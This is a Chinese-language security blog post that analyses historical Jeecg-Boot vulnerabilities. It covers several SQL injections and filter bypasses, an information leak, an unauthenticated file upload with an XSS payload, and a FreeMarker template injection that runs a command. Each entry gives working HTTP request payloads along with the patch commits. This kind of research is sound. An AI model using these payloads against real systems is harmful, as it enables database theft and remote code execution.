Jeecg-Boot 部分历史漏洞分析
Drunkbaby Lv6

Jeecg-Boot 部分历史漏洞分析

前言

我司的任务,原本是漏洞挖掘,在漏洞挖掘之前打算先看看历史漏洞,简单分析一下。
本文只聚焦与 Jeecg-Boot 相关的一些漏洞,一些组件漏洞暂时不关注。

各个版本的漏洞合集

https://so.csdn.net/so/search?q=%E6%BC%8F%E6%B4%9E&t=blog&u=zhangdaiscott&s=new

因为主要研究版本是从 Jeecg-Boot 3.0 开始的,所以 2.x.x 的版本漏洞就暂时不分析了。使用的版本是 3.2.0 的版本,相对来说非常稳定。

JeecgBoot常见问题大全 http://bbs.jeecg.com/forum.php?mod=viewthread&tid=7816&extra=page%3D1

CVE-2022-45206 Jeecg-Boot <= 3.2.0 版本存在 SQL 注入漏洞

3.0.0 <= Jeecg-Boot <= 3.2.0 版本存在 SQL 注入漏洞

漏洞描述

Jeecg-Boot 后台服务 API 接口文档处存在 SQL 注入,漏洞对应接口为 /sys/duplicate/check

漏洞复现

1
2
3
4
5
6
7
GET /jeecg-boot/sys/duplicate/check?dataId=%27aa2000&fieldName=updatexml(1%2C(select%2F**%2Fif(length(%22aaa%22)%3E5%2C1%2Csleep(5))%20union%20select%2F**%2F1)%2C1)&fieldVal=1000&tableName=sys_log HTTP/1.1
Host: localhost:3000
knife4j-gateway-code: ROOT
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2OTUxMTU4NzYsInVzZXJuYW1lIjoiYWRtaW4ifQ.sY0KYTR2WE4GPsdFzLtf_hQkOvPke5bkrfZBD-EekHk
Connection: close


漏洞分析

接口 org.jeecg.modules.system.controller.DuplicateCheckController 全流程概括一下就是经过一串过滤,最后执行 SQL 语句,对应的 SQL 语句为

1
2
3
4
5
6
7
8
<!-- 重复校验 sql语句 -->  
<select id="duplicateCheckCountSql" resultType="Long" parameterType="org.jeecg.modules.system.model.DuplicateCheckVo">
SELECT COUNT(*) FROM ${tableName} WHERE ${fieldName} = #{fieldVal} and id &lt;&gt; #{dataId}
</select>

<!-- 重复校验 sql语句 -->
<select id="duplicateCheckCountSqlNoDataId" resultType="Long" parameterType="org.jeecg.modules.system.model.DuplicateCheckVo">
SELECT COUNT(*) FROM ${tableName} WHERE ${fieldName} = #{fieldVal}</select>

按照正常来说的 SQL 注入

1
select * from users where updatexml(1,(select/**/if(length("aaa")>5,1,sleep(5)) union select/**/1),1);

其中 tableName 契合注入点攻击即可。漏洞的本质原因是过滤的不完全。

可以看到这里的过滤为 select ,多了个空格,很容易使用 /**/ 进行绕过。

作者提出的 replace() 替换 /**/ 也是修复不完全的,因为仍旧可以用 () 进行绕过

漏洞修复

https://github.com/jeecgboot/jeecg-boot/commit/f18ced524c9ec13e876bfb74785a1b112cc8b6bb

加了两个报错注入的关键字,很明显修复是不完全的,依旧存在安全隐患。后面要看的 jeecg-boot 3.4.4 存在 sql 注入漏洞就是如此;但是 3.4.4 的漏洞复现我失败了,不知道是什么原因。

Jeecg-Boot <= 3.4.4 存在 SQL 注入漏洞

  • 和上一条其实是类似的

漏洞描述

jeecg-boot3.4.4 存在 sql 注入漏洞,sql 注入检测代码存在绕过。接口为 /sys/duplicate/check

漏洞复现

1
2
3
4
5
6
GET /jeecg-boot/sys/duplicate/check?dataId=2000&fieldName=(select(if(((select%0Apassword%0Afrom%0Asys_user%0Awhere%0Ausername%0A='jeecg')='eee378a1258530cb'),sleep(4),1)))&fieldVal=1000&tableName=test_person HTTP/1.1
Host: localhost:8080
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2OTUxMTU4NzYsInVzZXJuYW1lIjoiYWRtaW4ifQ.sY0KYTR2WE4GPsdFzLtf_hQkOvPke5bkrfZBD-EekHk
Connection: close


值得一提的是,这里的 sleep 时间取决于数据表里面放的数据多少,为 n*时间

漏洞分析

没有什么特别需要分析的,简单的 bypass

漏洞修复

https://github.com/jeecgboot/jeecg-boot/commit/0fc374de4745eac52620eeb8caf6a7b76127529a

增添的黑名单是 geohash|gtid_subset|gtid_subtract,没看懂

Jeecg-Boot <= 3.4.4 存在信息泄露漏洞

漏洞描述

由于 AbstractQueryBlackListHandler 类中的黑名单校验不严格,导致多个接口如 sys/dict/queryTableData 存在信息泄露漏洞。

漏洞复现

1
2
3
4
5
6
GET /jeecg-boot/sys/dict/queryTableData?table=%60sys_user%60&pageSize=22&pageNo=1&text=username&code=password HTTP/1.1
Host: localhost:3000
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2OTUxMTU4NzYsInVzZXJuYW1lIjoiYWRtaW4ifQ.sY0KYTR2WE4GPsdFzLtf_hQkOvPke5bkrfZBD-EekHk
Connection: close


数据也被加密了,并没有什么太大的用处。

漏洞分析

isPass()函数中 ruleMap.get(name) 为 null 即可绕过, 可以采用 sys_user, (sys_user), sys_user%20 等绕过

漏洞修复

https://github.com/jeecgboot/jeecg-boot/commit/0fc374de4745eac52620eeb8caf6a7b76127529a

加黑了

1
2
3
4
5
6
private String getTableName(String str) {
String[] arr = str.split("\\s+(?i)where\\s+");
// sys_user , (sys_user), sys_user%20, %60sys_user%60 issues/4393
String reg = "\\s+|\\(|\\)|`";
return arr[0].replaceAll(reg, "");
}

然而依旧可以用 `` bypass

1
2
3
4
5
6
GET /jeecg-boot/sys/dict/queryTableData?table=sys_user/**/&pageSize=22&pageNo=1&text=username&code=password HTTP/1.1
Host: localhost:3000
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2OTUxMTU4NzYsInVzZXJuYW1lIjoiYWRtaW4ifQ.sY0KYTR2WE4GPsdFzLtf_hQkOvPke5bkrfZBD-EekHk
Connection: close


Jeecg-Boot <= 3.5.1 存在任意文件上传漏洞

漏洞描述

经测试发现 /jeecg-boot/jmreport/upload接口存在未授权任意文件上传

漏洞复现

文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /jeecg-boot/jmreport/upload HTTP/1.1
Host: localhost:8080
Content-Length: 460
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBB3U3apXylvyidXI
Referer: http://localhost:8080/jeecg-boot/jmreport/index/864289498073407488?menuType=datainfo&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2OTUxNzc2MjUsInVzZXJuYW1lIjoiYWRtaW4ifQ.ESuinsQxPdrLjOSt_aOhqx3DR35LSL_vIsfv_dmD_og
Connection: close

------WebKitFormBoundaryBB3U3apXylvyidXI
Content-Disposition: form-data; name="file"; filename="xss.html"
Content-Type: text/html

<html>
<body>
<img src=x onerror=alert(1)>
</body>
</html>
------WebKitFormBoundaryBB3U3apXylvyidXI
Content-Disposition: form-data; name="fileName"

xss.html
------WebKitFormBoundaryBB3U3apXylvyidXI
Content-Disposition: form-data; name="biz"

excel_online
------WebKitFormBoundaryBB3U3apXylvyidXI--

文件上传不需要 token 验证,访问需要 token 验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /jeecg-boot/jimureport/xss1695174346254.html HTTP/1.1
Host: localhost:8080
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.31
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2OTUxNzc2MjUsInVzZXJuYW1lIjoiYWRtaW4ifQ.ESuinsQxPdrLjOSt_aOhqx3DR35LSL_vIsfv_dmD_og
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2
Connection: close


上传的文件甚至可以访问

漏洞分析

对应的类处理 org.jeecg.modules.jmreport.desreport.a.a 类的 upload 接口。拿到 HTTP 请求当中文件上传请求的参数,往下走,进入 local

下面就是文件上传的部分了,其实并没有做任何过滤。只是把 ../ 过滤了

漏洞修复

把 jimuReport 的版本升级到 1.6.1 +,最新的 diff 并没有找到,后续值得分析。

CVE-2023-38905 Jeecg-Boot <= 3.5.1 SQL 注入

  • 不得不提一嘴,SQL 注入真的太多了。

漏洞描述

/sys/duplicate/check 接口 SQL 注入,checksql 可以被绕过。

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
GET /jeecg-boot/sys/duplicate/check?tableName=v3_hello&fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(5))&fieldVal=1&dataId=asd HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
Connection: close
Cache-Control: max-age=0
X_ACCESS_TOKEN: eyJ0eXAi0iJKV1QiLCJhbGci0iJIUzI1Ni J9.eyJleHAi0jE2NzA2NjUy0TQsInVzZXJ uYW1lIjoiYWRtaW4i fQ.bL0e7k3rbFEewdMoL2YfPCo9rtzx7g9 KLjB2LK-J9SU


漏洞分析

本质上来说也是黑名单绕过

漏洞修复

https://github.com/jeecgboot/jeecg-boot/commit/44952c79c244a998e3904e44cea47baab0ee681b

SQL 注入基本上都是在做黑名单的 bypass,分析 SQL 注入就分析到这里。

CVE-2023-4450 Jeecg-Boot <= 3.5.3 存在 FreeMarker 模板引擎注入

漏洞描述

JeecgBoot 受影响版本中由于积木报表 /jeecg-boot/jmreport/queryFieldBySql Api 接口未进行身份校验,使用 Freemarker 处理用户用户传入的 sql 参数,未经授权的攻击者可发送包含恶意 sql 参数的 http 请求,通过 SSTI 在应用端执行任意代码。

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /jeecgboot/jmreport/queryFieldBySql HTTP/1.1
Host: localhost:3100
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Referer: http://172.20.10.2:3100/login?redirect=/dashboard/analysis
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 103

{"sql":"sekect 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"calc\")}'"
}


postman 发包

漏洞分析

入口对应 org.jeecg.modules.jmreport.desreport.a.a#c() 方法,先过了 sql 的黑名单,随后调用 this.reportDbService.parseReportSql() 方法。

跟进去是调用了动态代理,代理了 target 对象的 method 方法,并在执行该方法时传入 argsToUse参数,动调能够看到调用的是 org.jeecg.modules.jmreport.desreport.service.a.i#parseReportSql 方法。一路调用后来到 org.jeecg.modules.jmreport.desreport.util.e#a 方法;其中调用了 FreeMarkerUtils.a()

跟进之后发现从这里开始新建了一个 Template,并加工表达式。后面就是 FreeMarker 执行表达式的过程了,这里不再赘述。

漏洞修复

https://github.com/jeecgboot/jeecg-boot/commit/baf4b96b3fcffa183e19b87485f5fb8388bb36ae

https://github.com/jeecgboot/jeecg-boot/commit/acb48179ab00e167747fa4a3e4fd3b94c78aeda5

看着没啥问题,是完整的修复。

 评论